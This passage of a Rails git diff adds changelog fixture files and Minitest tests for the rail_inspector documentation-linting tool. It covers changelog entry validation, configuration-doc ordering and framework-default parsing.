+    when a parent record is destroyed, all dependent records will be destroyed
+    in a single background job. If the number of dependent records is greater
+    than this configuration, the records will be destroyed in multiple
+    background jobs.
+
+    *Nick Holden*
+
+*   Fix `remove_foreign_key` with `:if_exists` option when foreign key actually exists.
+
+    *fatkodima*
+
+*   Remove `--no-comments` flag in structure dumps for PostgreSQL
+
+    This broke some apps that used custom schema comments. If you don't want
+    comments in your structure dump, you can use:
+
+    ```ruby
+    ActiveRecord::Tasks::DatabaseTasks.structure_dump_flags = ['--no-comments']
+    ```
+
+    *Alex Ghiculescu*
+
+*   Reduce the memory footprint of fixtures accessors.
+
+    Until now fixtures accessors were eagerly defined using `define_method`.
+    So the memory usage was directly dependent of the number of fixtures and
+    test suites.
+
+    Instead fixtures accessors are now implemented with `method_missing`,
+    so they incur much less memory and CPU overhead.
+
+    *Jean Boussier*
+
+*   Fix `config.active_record.destroy_association_async_job` configuration
+
+    `config.active_record.destroy_association_async_job` should allow
+    applications to specify the job that will be used to destroy associated
+    records in the background for `has_many` associations with the
+    `dependent: :destroy_async` option. Previously, that was ignored, which
+    meant the default `ActiveRecord::DestroyAssociationAsyncJob` always
+    destroyed records in the background.
+
+    *Nick Holden*
+
+*   Fix `change_column_comment` to preserve column's AUTO_INCREMENT in the MySQL adapter
+
+    *fatkodima*
+
+*   Fix quoting of `ActiveSupport::Duration` and `Rational` numbers in the MySQL adapter.
+
+    *Kevin McPhillips*
+
+*   Allow column name with COLLATE (e.g., title COLLATE "C") as safe SQL string
+
+    *Shugo Maeda*
+
+*   Permit underscores in the VERSION argument to database rake tasks.
+
+    *Eddie Lebow*
+
+*   Reversed the order of `INSERT` statements in `structure.sql` dumps
+
+    This should decrease the likelihood of merge conflicts. New migrations
+    will now be added at the top of the list.
+
+    For existing apps, there will be a large diff the next time `structure.sql`
+    is generated.
+
+    *Alex Ghiculescu*, *Matt Larraz*
+
+*   Fix PG.connect keyword arguments deprecation warning on ruby 2.7
+
+    Fixes #44307.
+
+    *Nikita Vasilevsky*
+
+*   Fix dropping DB connections after serialization failures and deadlocks.
+
+    Prior to 6.1.4, serialization failures and deadlocks caused rollbacks to be
+    issued for both real transactions and savepoints. This breaks MySQL which
+    disallows rollbacks of savepoints following a deadlock.
+
+    6.1.4 removed these rollbacks, for both transactions and savepoints, causing
+    the DB connection to be left in an unknown state and thus discarded.
+
+    These rollbacks are now restored, except for savepoints on MySQL.
+
+    *Thomas Morgan*
+
+*   Make `ActiveRecord::ConnectionPool` Fiber-safe
+
+    When `ActiveSupport::IsolatedExecutionState.isolation_level` is set to `:fiber`,
+    the connection pool now supports multiple Fibers from the same Thread checking
+    out connections from the pool.
+
+    *Alex Matchneer*
+
+*   Add `update_attribute!` to `ActiveRecord::Persistence`
+
+    Similar to `update_attribute`, but raises `ActiveRecord::RecordNotSaved` when a `before_*` callback throws `:abort`.
+
+    ```ruby
+    class Topic < ActiveRecord::Base
+      before_save :check_title
+
+      def check_title
+        throw(:abort) if title == "abort"
+      end
+    end
+
+    topic = Topic.create(title: "Test Title")
+    # #=> #<Topic title: "Test Title">
+    topic.update_attribute!(:title, "Another Title")
+    # #=> #<Topic title: "Another Title">
+    topic.update_attribute!(:title, "abort")
+    # raises ActiveRecord::RecordNotSaved
+    ```
+
+    *Drew Tempelmeyer*
+
+*   Avoid loading every record in `ActiveRecord::Relation#pretty_print`
+
+    ```ruby
+    # Before
+    pp Foo.all # Loads the whole table.
+
+    # After
+    pp Foo.all # Shows 10 items and an ellipsis.
+    ```
+
+    *Ulysse Buonomo*
+
+*   Change `QueryMethods#in_order_of` to drop records not listed in values.
+
+    `in_order_of` now filters down to the values provided, to match the behavior of the `Enumerable` version.
+
+    *Kevin Newton*
+
+*   Allow named expression indexes to be revertible.
+
+    Previously, the following code would raise an error in a reversible migration executed while rolling back, due to the index name not being used in the index removal.
+
+    ```ruby
+    add_index(:settings, "(data->'property')", using: :gin, name: :index_settings_data_property)
+    ```
+
+    Fixes #43331.
+
+    *Oliver Günther*
+
+*   Fix incorrect argument in PostgreSQL structure dump tasks.
+
+    Updating the `--no-comment` argument added in Rails 7 to the correct `--no-comments` argument.
+
+    *Alex Dent*
+
+*   Fix migration compatibility to create SQLite references/belongs_to column as integer when migration version is 6.0.
+
+    Reference/belongs_to in migrations with version 6.0 were creating columns as
+    bigint instead of integer for the SQLite Adapter.
+
+    *Marcelo Lauxen*
+
+*   Add a deprecation warning when `prepared_statements` configuration is not
+    set for the mysql2 adapter.
+
+    *Thiago Araujo and Stefanni Brasil*
+
+*   Fix `QueryMethods#in_order_of` to handle empty order list.
+
+    ```ruby
+    Post.in_order_of(:id, []).to_a
+    ```
+
+    Also more explicitly set the column as secondary order, so that any other
+    value is still ordered.
+
+    *Jean Boussier*
+
+*   Fix quoting of column aliases generated by calculation methods.
+
+    Since the alias is derived from the table name, we can't assume the result
+    is a valid identifier.
+
+    ```ruby
+    class Test < ActiveRecord::Base
+      self.table_name = '1abc'
+    end
+    Test.group(:id).count
+    # syntax error at or near "1" (ActiveRecord::StatementInvalid)
+    # LINE 1: SELECT COUNT(*) AS count_all, "1abc"."id" AS 1abc_id FROM "1...
+    ```
+
+    *Jean Boussier*
+
+*   Add `authenticate_by` when using `has_secure_password`.
+
+    `authenticate_by` is intended to replace code like the following, which
+    returns early when a user with a matching email is not found:
+
+    ```ruby
+    User.find_by(email: "...")&.authenticate("...")
+    ```
+
+    Such code is vulnerable to timing-based enumeration attacks, wherein an
+    attacker can determine if a user account with a given email exists. After
+    confirming that an account exists, the attacker can try passwords associated
+    with that email address from other leaked databases, in case the user
+    re-used a password across multiple sites (a common practice). Additionally,
+    knowing an account email address allows the attacker to attempt a targeted
+    phishing ("spear phishing") attack.
+
+    `authenticate_by` addresses the vulnerability by taking the same amount of
+    time regardless of whether a user with a matching email is found:
+
+    ```ruby
+    User.authenticate_by(email: "...", password: "...")
+    ```
+
+    *Jonathan Hefner*
+
+
+Please check [7-0-stable](https://github.com/rails/rails/blob/7-0-stable/activerecord/CHANGELOG.md) for previous changes.
diff --git a/tools/rail_inspector/test/fixtures/active_support_9f0b8eb.md b/tools/rail_inspector/test/fixtures/active_support_9f0b8eb.md
new file mode 100644
index 0000000000000..b3aa9dca3d037
--- /dev/null
+++ b/tools/rail_inspector/test/fixtures/active_support_9f0b8eb.md
@@ -0,0 +1,152 @@
+*   Fix `NoMethodError` on custom `ActiveSupport::Deprecation` behavior.
+
+    `ActiveSupport::Deprecation.behavior=` was supposed to accept any object
+    that responds to `call`, but in fact its internal implementation assumed that
+    this object could respond to `arity`, so it was restricted to only `Proc` objects.
+
+    This change removes this `arity` restriction of custom behaviors.
+
+    *Ryo Nakamura*
+
+*   Support `:url_safe` option for `MessageEncryptor`.
+
+    The `MessageEncryptor` constructor now accepts a `:url_safe` option, similar
+    to the `MessageVerifier` constructor.  When enabled, this option ensures
+    that messages use a URL-safe encoding.
+
+    *Jonathan Hefner*
+
+*   Add `url_safe` option to `ActiveSupport::MessageVerifier` initializer
+
+    `ActiveSupport::MessageVerifier.new` now takes optional `url_safe` argument.
+    It can generate URL-safe strings by passing `url_safe: true`.
+
+    ```ruby
+    verifier = ActiveSupport::MessageVerifier.new(url_safe: true)
+    message = verifier.generate(data) # => URL-safe string
+    ```
+
+    This option is `false` by default to be backwards compatible.
+
+    *Shouichi Kamiya*
+
+*   Enable connection pooling by default for `MemCacheStore` and `RedisCacheStore`.
+
+    If you want to disable connection pooling, set `:pool` option to `false` when configuring the cache store:
+
+    ```ruby
+    config.cache_store = :mem_cache_store, "cache.example.com", pool: false
+    ```
+
+    *fatkodima*
+
+*   Add `force:` support to `ActiveSupport::Cache::Store#fetch_multi`.
+
+    *fatkodima*
+
+*   Deprecated `:pool_size` and `:pool_timeout` options for configuring connection pooling in cache stores.
+
+    Use `pool: true` to enable pooling with default settings:
+
+    ```ruby
+    config.cache_store = :redis_cache_store, pool: true
+    ```
+
+    Or pass individual options via `:pool` option:
+
+    ```ruby
+    config.cache_store = :redis_cache_store, pool: { size: 10, timeout: 2 }
+    ```
+
+    *fatkodima*
+
+*   Allow #increment and #decrement methods of `ActiveSupport::Cache::Store`
+    subclasses to set new values.
+
+    Previously incrementing or decrementing an unset key would fail and return
+    nil. A default will now be assumed and the key will be created.
+
+    *Andrej Blagojević*, *Eugene Kenny*
+
+*   Add `skip_nil:` support to `RedisCacheStore`
+
+    *Joey Paris*
+
+*   `ActiveSupport::Cache::MemoryStore#write(name, val, unless_exist:true)` now
+    correctly writes expired keys.
+
+    *Alan Savage*
+
+*   `ActiveSupport::ErrorReporter` now accepts and forward a `source:` parameter.
+
+    This allow libraries to signal the origin of the errors, and reporters
+    to easily ignore some sources.
+
+    *Jean Boussier*
+
+*   Fix and add protections for XSS in `ActionView::Helpers` and `ERB::Util`.
+
+    Add the method `ERB::Util.xml_name_escape` to escape dangerous characters
+    in names of tags and names of attributes, following the specification of XML.
+
+    *�lvaro Martín Fraguas*
+
+*   Respect `ActiveSupport::Logger.new`'s `:formatter` keyword argument
+
+    The stdlib `Logger::new` allows passing a `:formatter` keyword argument to
+    set the logger's formatter. Previously `ActiveSupport::Logger.new` ignored
+    that argument by always setting the formatter to an instance of
+    `ActiveSupport::Logger::SimpleFormatter`.
+
+    *Steven Harman*
+
+*   Deprecate preserving the pre-Ruby 2.4 behavior of `to_time`
+
+    With Ruby 2.4+ the default for +to_time+ changed from converting to the
+    local system time to preserving the offset of the receiver. At the time Rails
+    supported older versions of Ruby so a compatibility layer was added to assist
+    in the migration process. From Rails 5.0 new applications have defaulted to
+    the Ruby 2.4+ behavior and since Rails 7.0 now only supports Ruby 2.7+
+    this compatibility layer can be safely removed.
+
+    To minimize any noise generated the deprecation warning only appears when the
+    setting is configured to `false` as that is the only scenario where the
+    removal of the compatibility layer has any effect.
+
+    *Andrew White*
+
+*   `Pathname.blank?` only returns true for `Pathname.new("")`
+
+    Previously it would end up calling `Pathname#empty?` which returned true
+    if the path existed and was an empty directory or file.
+
+    That behavior was unlikely to be expected.
+
+    *Jean Boussier*
+
+*   Deprecate `Notification::Event`'s `#children` and `#parent_of?`
+
+*   Change default serialization format of `MessageEncryptor` from `Marshal` to `JSON` for Rails 7.1.
+
+    Existing apps are provided with an upgrade path to migrate to `JSON` as described in `guides/source/upgrading_ruby_on_rails.md`
+
+    *Zack Deveau* and *Martin Gingras*
+
+*   Add `ActiveSupport::TestCase#stub_const` to stub a constant for the duration of a yield.
+
+    *DHH*
+
+*   Fix `ActiveSupport::EncryptedConfiguration` to be compatible with Psych 4
+
+    *Stephen Sugden*
+
+*   Improve `File.atomic_write` error handling
+
+*   Fix `Class#descendants` and `DescendantsTracker#descendants` compatibility with Ruby 3.1.
+
+    [The native `Class#descendants` was reverted prior to Ruby 3.1 release](https://bugs.ruby-lang.org/issues/14394#note-33),
+    but `Class#subclasses` was kept, breaking the feature detection.
+
+    *Jean Boussier*
+
+Please check [7-0-stable](https://github.com/rails/rails/blob/7-0-stable/activesupport/CHANGELOG.md) for previous changes.
diff --git a/tools/rail_inspector/test/fixtures/railties_06e9fbd.md b/tools/rail_inspector/test/fixtures/railties_06e9fbd.md
new file mode 100644
index 0000000000000..de6cc092308d9
--- /dev/null
+++ b/tools/rail_inspector/test/fixtures/railties_06e9fbd.md
@@ -0,0 +1,215 @@
+*   In-app custom credentials templates are now supported.  When a credentials
+    file does not exist, `rails credentials:edit` will now try to use
+    `lib/templates/rails/credentials/credentials.yml.tt` to generate the
+    credentials file, before falling back to the default template.
+
+    This allows e.g. an open-source Rails app (which would not include encrypted
+    credentials files in its repo) to include a credentials template, so that
+    users who install the app will get a custom pre-filled credentials file when
+    they run `rails credentials:edit`.
+
+    *Jonathan Hefner*
+
+*   Except for `dev` and `test` environments, newly generated per-environment
+    credentials files (e.g. `config/credentials/production.yml.enc`) now include
+    a `secret_key_base` for convenience, just as `config/credentials.yml.enc`
+    does.
+
+    *Jonathan Hefner*
+
+*   `--no-*` options now work with the app generator's `--minimal` option, and
+    are both comprehensive and precise.  For example:
+
+    ```console
+    $ rails new my_cool_app --minimal
+    Based on the specified options, the following options will also be activated:
+
+      --skip-active-job [due to --minimal]
+      --skip-action-mailer [due to --skip-active-job, --minimal]
+      --skip-active-storage [due to --skip-active-job, --minimal]
+      --skip-action-mailbox [due to --skip-active-storage, --minimal]
+      --skip-action-text [due to --skip-active-storage, --minimal]
+      --skip-javascript [due to --minimal]
+      --skip-hotwire [due to --skip-javascript, --minimal]
+      --skip-action-cable [due to --minimal]
+      --skip-bootsnap [due to --minimal]
+      --skip-dev-gems [due to --minimal]
+      --skip-system-test [due to --minimal]
+
+    ...
+
+    $ rails new my_cool_app --minimal --no-skip-active-storage
+    Based on the specified options, the following options will also be activated:
+
+      --skip-action-mailer [due to --minimal]
+      --skip-action-mailbox [due to --minimal]
+      --skip-action-text [due to --minimal]
+      --skip-javascript [due to --minimal]
+      --skip-hotwire [due to --skip-javascript, --minimal]
+      --skip-action-cable [due to --minimal]
+      --skip-bootsnap [due to --minimal]
+      --skip-dev-gems [due to --minimal]
+      --skip-system-test [due to --minimal]
+
+    ...
+    ```
+
+    *Brad Trick* and *Jonathan Hefner*
+
+*   Add `--skip-dev-gems` option to app generator to skip adding development
+    gems (like `web-console`) to the Gemfile.
+
+    *Brad Trick*
+
+*   Skip Active Storage and Action Mailer if Active Job is skipped.
+
+    *Étienne Barrié*
+
+*   Correctly check if frameworks are disabled when running app:update.
+
+    *Étienne Barrié* and *Paulo Barros*
+
+*   Delegate model generator description to orm hooked generator.
+
+    *Gannon McGibbon*
+
+*   Execute `rails runner` scripts inside the executor.
+
+    Enables error reporting, query cache, etc.
+
+    *Jean Boussier*
+
+*   Avoid booting in development then test for test tasks.
+
+    Running one of the rails test subtasks (e.g. test:system, test:models) would
+    go through Rake and cause the app to be booted twice. Now all the test:*
+    subtasks are defined as Thor tasks and directly load the test environment.
+
+    *Étienne Barrié*
+
+*   Deprecate `Rails::Generators::Testing::Behaviour` in favor of `Rails::Generators::Testing::Behavior`.
+
+    *Gannon McGibbon*
+
+*   Allow configuration of logger size for local and test environments
+
+    `config.log_file_size`
+
+    Defaults to `100` megabytes.
+
+    *Bernie Chiu*
+
+*   Enroll new apps in decrypted diffs of credentials by default.  This behavior
+    can be opted out of with the app generator's `--skip-decrypted-diffs` flag.
+
+    *Jonathan Hefner*
+
+*   Support declarative-style test name filters with `bin/rails test`.
+
+    This makes it possible to run a declarative-style test such as:
+
+    ```ruby
+    class MyTest < ActiveSupport::TestCase
+      test "does something" do
+        # ...
+      end
+    end
+    ```
+
+    Using its declared name:
+
+    ```bash
+    $ bin/rails test test/my_test.rb -n "does something"
+    ```
+
+    Instead of having to specify its expanded method name:
+
+    ```bash
+    $ bin/rails test test/my_test.rb -n test_does_something
+    ```
+
+    *Jonathan Hefner*
+
+*   Add `--js` and `--skip-javascript` options to `rails new`
+
+    `--js` alias to `rails new --javascript ...`
+
+    Same as `-j`, e.g. `rails new --js esbuild ...`
+
+    `--skip-js` alias to `rails new --skip-javascript ...`
+
+    Same as `-J`, e.g. `rails new --skip-js ...`
+
+    *Dorian Marié*
+
+*   Allow relative paths with leading dot slash to be passed to `rails test`.
+
+    Fix `rails test ./test/model/post_test.rb` to run a single test file.
+
+    *Shouichi Kamiya* and *oljfte*
+
+*   Deprecate `config.enable_dependency_loading`. This flag addressed a limitation of the `classic` autoloader and has no effect nowadays. To fix this deprecation, please just delete the reference.
+
+    *Xavier Noria*
+
+*   Define `config.enable_reloading` to be `!config.cache_classes` for a more intuitive name. While `config.enable_reloading` and `config.reloading_enabled?` are preferred from now on, `config.cache_classes` is supported for backwards compatibility.
+
+    *Xavier Noria*
+
+*   Add JavaScript dependencies installation on bin/setup
+
+    Add  `yarn install` to bin/setup when using esbuild, webpack, or rollout.
+
+    *Carlos Ribeiro*
+
+*   Use `controller_class_path` in `Rails::Generators::NamedBase#route_url`
+
+    The `route_url` method now returns the correct path when generating
+    a namespaced controller with a top-level model using `--model-name`.
+
+    Previously, when running this command:
+
+    ```sh
+    bin/rails generate scaffold_controller Admin/Post --model-name Post
+    ```
+
+    the comments above the controller action would look like:
+
+    ```ruby
+    # GET /posts
+    def index
+      @posts = Post.all
+    end
+    ```
+
+    afterwards, they now look like this:
+
+    ```ruby
+    # GET /admin/posts
+    def index
+      @posts = Post.all
+    end
+    ```
+
+    Fixes #44662.
+
+    *Andrew White*
+
+*   No longer add autoloaded paths to `$LOAD_PATH`.
+
+    This means it won't be possible to load them with a manual `require` call, the class or module can be referenced instead.
+
+    Reducing the size of `$LOAD_PATH` speed-up `require` calls for apps not using `bootsnap`, and reduce the
+    size of the `bootsnap` cache for the others.
+
+    *Jean Boussier*
+
+*   Remove default `X-Download-Options` header
+
+    This header is currently only used by Internet Explorer which
+    will be discontinued in 2022 and since Rails 7 does not fully
+    support Internet Explorer this header should not be a default one.
+
+    *Harun Sabljaković*
+
+Please check [7-0-stable](https://github.com/rails/rails/blob/7-0-stable/railties/CHANGELOG.md) for previous changes.
diff --git a/tools/rail_inspector/test/rail_inspector/changelog_test.rb b/tools/rail_inspector/test/rail_inspector/changelog_test.rb
new file mode 100644
index 0000000000000..eda372519f63f
--- /dev/null
+++ b/tools/rail_inspector/test/rail_inspector/changelog_test.rb
@@ -0,0 +1,181 @@
+# frozen_string_literal: true
+
+require "rail_inspector/changelog"
+require "test/test_helpers/changelog_fixtures"
+
+class TestChangelog < Minitest::Test
+  include ChangelogFixtures
+
+  def test_parses_changelog_file
+    @changelog = changelog_fixture("railties_06e9fbd.md")
+
+    assert_equal 21, entries.length
+  end
+
+  def test_entries_without_author_are_invalid
+    @changelog = changelog_fixture("active_support_9f0b8eb.md")
+
+    assert_equal 2, offenses.length
+  end
+
+  def test_valid_username_is_valid_author
+    assert_valid_entry <<~CHANGELOG
+      *   Cool change.
+
+          *1337-rails-c0d3r*
+    CHANGELOG
+  end
+
+  def test_parses_with_extra_newlines
+    @changelog = changelog_fixture("action_mailbox_83d85b2.md")
+
+    assert_equal 0, entries.length
+  end
+
+  def test_entries_with_trailing_whitespace_are_invalid
+    @changelog = changelog_fixture("active_record_936a862.md")
+
+    assert_equal 16, offenses.length
+  end
+
+  def test_entries_without_four_leading_spaces
+    @changelog = changelog_fixture("active_record_238432d.md")
+
+    assert_equal 5, offenses.length
+  end
+
+  def test_entries_with_incorrectly_indented_header
+    @changelog = changelog_fixture("active_record_51852d2.md")
+
+    assert_equal 1, offenses.length
+  end
+
+  def test_header_ending_with_star_not_treated_as_author
+    @changelog = changelog_fixture("action_pack_69d504.md")
+
+    assert_equal 0, offenses.length
+  end
+
+  def test_release_header_is_not_treated_as_offense
+    @changelog = changelog_fixture("action_view.md")
+
+    assert_equal 0, offenses.length
+  end
+
+  def test_no_changes_not_treated_as_offense
+    @changelog = changelog_fixture("action_mailbox.md")
+
+    assert_equal 0, offenses.length
+  end
+
+  def test_invalid_header_does_not_cause_infinite_loop
+    Timeout.timeout(1) do
+      @changelog = changelog_fixture("action_mailbox_invalid.md")
+      assert_equal 2, offenses.length
+    end
+  rescue Timeout::Error
+    flunk "Parsing action_mailbox_invalid.md took too long"
+  end
+
+  def test_validate_authors
+    assert_offense(<<~CHANGELOG)
+      *   Fix issue in CHANGELOG linting
+      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ CHANGELOG entry is missing authors.
+    CHANGELOG
+  end
+
+  def test_validate_leading_whitespace_for_header
+    assert_offense(<<~CHANGELOG)
+      * Fix leading whitespace in CHANGELOG
+      ^^^^ CHANGELOG header must start with '*' and 3 spaces
+
+          *Hartley McGuire*
+    CHANGELOG
+
+    assert_offense(<<~CHANGELOG)
+      *    Fix leading whitespace in CHANGELOG
+      ^^^^ CHANGELOG header must start with '*' and 3 spaces
+
+          *Hartley McGuire*
+    CHANGELOG
+  end
+
+  def test_validate_leading_whitespace_for_body
+    assert_offense(<<~CHANGELOG)
+      *   Fix leading whitespace in CHANGELOG
+
+        *Hartley McGuire*
+      ^^^^ CHANGELOG line must be indented 4 spaces
+    CHANGELOG
+  end
+
+  def test_validate_trailing_whitespace
+    assert_offense(<<~CHANGELOG)
+      *   Fix trailing whitespace in CHANGELOG#{' '}
+                                              ^ Trailing whitespace detected.
+
+          *Hartley McGuire*
+    CHANGELOG
+
+    assert_offense(<<~CHANGELOG)
+      *   Fix trailing whitespace in CHANGELOG
+      #{' '}
+      ^ Trailing whitespace detected.
+          *Hartley McGuire*
+    CHANGELOG
+  end
+
+  private
+    def entries
+      @changelog.entries
+    end
+
+    def offenses
+      entries.flat_map(&:offenses)
+    end
+
+    def assert_valid_entry(source)
+      entry = RailInspector::Changelog::Entry.new(source.lines(chomp: true), 1)
+      assert_empty entry.offenses, "Entry has offenses"
+    end
+
+    ANNOTATION_PATTERN = /\s*\^+ /
+
+    def assert_offense(source)
+      lines = []
+      annotation = nil
+
+      source.each_line(chomp: true) do |line|
+        if ANNOTATION_PATTERN.match?(line)
+          annotation = [lines.length, line]
+        else
+          lines << line
+        end
+      end
+
+      entry = RailInspector::Changelog::Entry.new(lines, 1)
+
+      assert_equal 1,
+                   entry.offenses.length,
+                   "Entry has the wrong number of offenses"
+      offense = entry.offenses.first
+
+      assert_equal annotation[0],
+                   offense.line_number,
+                   "Offense has incorrect line number"
+      assert_equal lines[annotation[0] - 1],
+                   offense.line,
+                   "Offense has incorrect line"
+
+      annotation_message = annotation[1].gsub(ANNOTATION_PATTERN, "")
+      assert_equal annotation_message,
+                   offense.message,
+                   "Offense has incorrect message"
+
+      annotation_start = annotation[1].index("^") + 1
+      annotation_end = annotation[1].rindex("^") + 1
+      assert_equal annotation_start..annotation_end,
+                   offense.range,
+                   "Offense has incorrect range"
+    end
+end
diff --git a/tools/rail_inspector/test/rail_inspector/configuring/check/framework_defaults_test.rb b/tools/rail_inspector/test/rail_inspector/configuring/check/framework_defaults_test.rb
new file mode 100644
index 0000000000000..dcfbd42f699bd
--- /dev/null
+++ b/tools/rail_inspector/test/rail_inspector/configuring/check/framework_defaults_test.rb
@@ -0,0 +1,61 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "rail_inspector/configuring"
+
+class FrameworkDefaultsTest < ActiveSupport::TestCase
+  def test_identifies_self_when_file_uses_config
+    defaults = {
+      "8.0" => {
+        "action_dispatch.strict_freshness" => "true",
+        "Regexp.timeout" => "1"
+      },
+      "8.1" => {
+        "self.yjit" => "!Rails.env.local?",
+        "action_controller.escape_json_responses" => "false",
+      }
+    }
+
+    check(defaults, <<~DOC).check
+      #### Default Values for Target Version 8.1
+
+      - [`config.action_controller.escape_json_responses`](#config-action-controller-escape-json-responses): `false`
+      - [`config.yjit`](#config-yjit): `!Rails.env.local?`
+
+      #### Default Values for Target Version 8.0
+
+      - [`Regexp.timeout`](#regexp-timeout): `1`
+      - [`config.action_dispatch.strict_freshness`](#config-action-dispatch-strict-freshness): `true`
+    DOC
+
+    assert_empty checker.errors
+  end
+
+  def test_post_release
+    defaults = {
+      "8.0" => {
+        "Regexp.timeout" => "1"
+      },
+      "8.1" => {},
+    }
+
+    check(defaults, <<~DOC).check
+      #### Default Values for Target Version 8.1
+
+      #### Default Values for Target Version 8.0
+
+      - [`Regexp.timeout`](#regexp-timeout): `1`
+    DOC
+
+    assert_empty checker.errors
+  end
+
+  private
+    def check(defaults, doc)
+      @check ||= RailInspector::Configuring::Check::FrameworkDefaults.new(checker, defaults, doc)
+    end
+
+    def checker
+      @checker ||= RailInspector::Configuring.new("../..")
+    end
+end
diff --git a/tools/rail_inspector/test/rail_inspector/configuring/check/general_configuration_test.rb b/tools/rail_inspector/test/rail_inspector/configuring/check/general_configuration_test.rb
new file mode 100644
index 0000000000000..a2e4668cf8f80
--- /dev/null
+++ b/tools/rail_inspector/test/rail_inspector/configuring/check/general_configuration_test.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "rail_inspector/configuring"
+
+class TestGeneralConfiguration < ActiveSupport::TestCase
+  def test_errors_when_configuration_out_of_order
+    with_general_config <<~MD
+      #### `config.b`
+
+      #### `config.a`
+    MD
+
+    check([:a, :b]).check
+
+    assert_not_empty checker.errors
+  end
+
+  def test_no_errors_when_configuration_alphabetical
+    with_general_config <<~MD
+      #### `config.a`
+
+      #### `config.b`
+    MD
+
+    check([:a, :b]).check
+
+    assert_empty checker.errors
+  end
+
+  private
+    def check(expected_accessors)
+      @check ||= RailInspector::Configuring::Check::GeneralConfiguration.new(checker, expected_accessors: expected_accessors)
+    end
+
+    def checker
+      @checker ||= RailInspector::Configuring.new("../..")
+    end
+
+    HEADER = [
+      "### Rails General Configuration",
+      "",
+      "The following configuration methods are to be called on a `Rails::Railtie` object, such as a subclass of `Rails::Engine` or `Rails::Application`.",
+      "",
+    ].freeze
+
+    def with_general_config(markdown)
+      checker.doc.general_config = HEADER + markdown.split("\n")
+    end
+end
diff --git a/tools/rail_inspector/test/rail_inspector/configuring/check/new_framework_defaults_file_test.rb b/tools/rail_inspector/test/rail_inspector/configuring/check/new_framework_defaults_file_test.rb
new file mode 100644
index 0000000000000..6301281850cc8
--- /dev/null
+++ b/tools/rail_inspector/test/rail_inspector/configuring/check/new_framework_defaults_file_test.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "rail_inspector/configuring"
+
+class NewFrameworkDefaultsFileTest < ActiveSupport::TestCase
+  def test_identifies_self_when_file_uses_config
+    defaults = ["self.log_file_size"]
+
+    check(defaults, <<~FILE).check
+    ###
+    # You must apply this in config/application.rb
+    # config.log_file_size = 100 * 1024 * 1024
+    FILE
+
+    assert_empty checker.errors
+  end
+
+  def test_identifies_self_when_file_uses_configuration
+    defaults = ["self.log_file_size"]
+
+    check(defaults, <<~FILE).check
+    ###
+    # You must apply this in config/application.rb
+    # Rails.configuration.log_file_size = 100 * 1024 * 1024
+    FILE
+
+    assert_empty checker.errors
+  end
+
+  private
+    def check(defaults, file_content)
+      @check ||= RailInspector::Configuring::Check::NewFrameworkDefaultsFile.new(checker, defaults, file_content)
+    end
+
+    def checker
+      @checker ||= RailInspector::Configuring.new("../..")
+    end
+end
diff --git a/tools/rail_inspector/test/rail_inspector/visitor/attribute_test.rb b/tools/rail_inspector/test/rail_inspector/visitor/attribute_test.rb
new file mode 100644
index 0000000000000..3b527e52a21fb
--- /dev/null
+++ b/tools/rail_inspector/test/rail_inspector/visitor/attribute_test.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "rail_inspector/visitor/attribute"
+
+class AttributeTest < Minitest::Test
+  def test_parses_attributes
+    source = <<~FILE
+    module Rails
+      attr_accessor :logger
+
+      class Application
+        class Configuration
+          attr_accessor :yjit
+
+          attr_reader :log_level
+        end
+      end
+    end
+    FILE
+
+    visitor = RailInspector::Visitor::Attribute.new
+    Prism.parse(source).value.accept(visitor)
+
+    assert_equal %w[logger], visitor.attribute_map["Rails"][:attr_accessor].to_a
+
+    config_map = visitor.attribute_map["Rails::Application::Configuration"]
+
+    assert_equal %w[yjit], config_map[:attr_accessor].to_a
+    assert_equal %w[log_level], config_map[:attr_reader].to_a
+  end
+end
diff --git a/tools/rail_inspector/test/rail_inspector/visitor/framework_default_test.rb b/tools/rail_inspector/test/rail_inspector/visitor/framework_default_test.rb
new file mode 100644
index 0000000000000..77e46824e4970
--- /dev/null
+++ b/tools/rail_inspector/test/rail_inspector/visitor/framework_default_test.rb
@@ -0,0 +1,146 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "rail_inspector/visitor/framework_default"
+
+class FrameworkDefaultTest < Minitest::Test
+  def test_smoke
+    config = config_for_defaults <<~RUBY
+      case target_version.to_s
+      when "5.0"
+        if respond_to?(:active_record)
+          active_record.belongs_to_required_by_default = true
+        end
+
+        self.ssl_options = { hsts: { subdomains: true } }
+      when "5.1"
+        load_defaults "5.0"
+
+        if respond_to?(:assets)
+          assets.unknown_asset_fallback = false
+        end
+      else
+        raise
+      end
+    RUBY
+
+    ["5.0", "5.1"].each { |k| assert_includes(config, k) }
+
+    assert_equal("true", config["5.0"]["active_record.belongs_to_required_by_default"])
+    assert_equal("{ hsts: { subdomains: true } }", config["5.0"]["self.ssl_options"])
+    assert_equal("false", config["5.1"]["assets.unknown_asset_fallback"])
+  end
+
+  def test_config_wrapped_in_condition
+    config = config_for_defaults <<~RUBY
+      case target_version.to_s
+      when "7.1"
+        if Rails.env.local?
+          self.log_file_size = 100 * 1024 * 1024
+        end
+      end
+    RUBY
+
+    assert_includes config, "7.1"
+    assert_equal("100 * 1024 * 1024", config["7.1"]["self.log_file_size"])
+  end
+
+  def test_condition_inside_framework
+    config = config_for_defaults <<~RUBY
+      case target_version.to_s
+      when "7.1"
+        if respond_to?(:action_view)
+          if Rails::HTML::Sanitizer.html5_support?
+            action_view.sanitizer_vendor = Rails::HTML5::Sanitizer
+          end
+        end
+      end
+    RUBY
+
+    assert_includes config, "7.1"
+    assert_equal("Rails::HTML5::Sanitizer", config["7.1"]["action_view.sanitizer_vendor"])
+  end
+
+  def test_nested_frameworks_raise_when_strict
+    original_env, ENV["STRICT"] = ENV["STRICT"], "true"
+
+    assert_raises do
+      config_for_defaults <<~RUBY
+        case target_version.to_s
+        when "7.1"
+          if respond_to?(:action_view)
+            if respond_to?(:active_record)
+            end
+          end
+        end
+      RUBY
+    end
+  ensure
+    ENV["STRICT"] = original_env
+  end
+
+  def test_multiline_strings
+    config = config_for_defaults <<~RUBY
+      case target_version.to_s
+      when "7.0"
+        if respond_to?(:active_storage)
+          active_storage.video_preview_arguments =
+            "-vf 'select=eq(n\\,0)+eq(key\\,1)+gt(scene\\,0.015),loop=loop=-1:size=2,trim=start_frame=1'" \
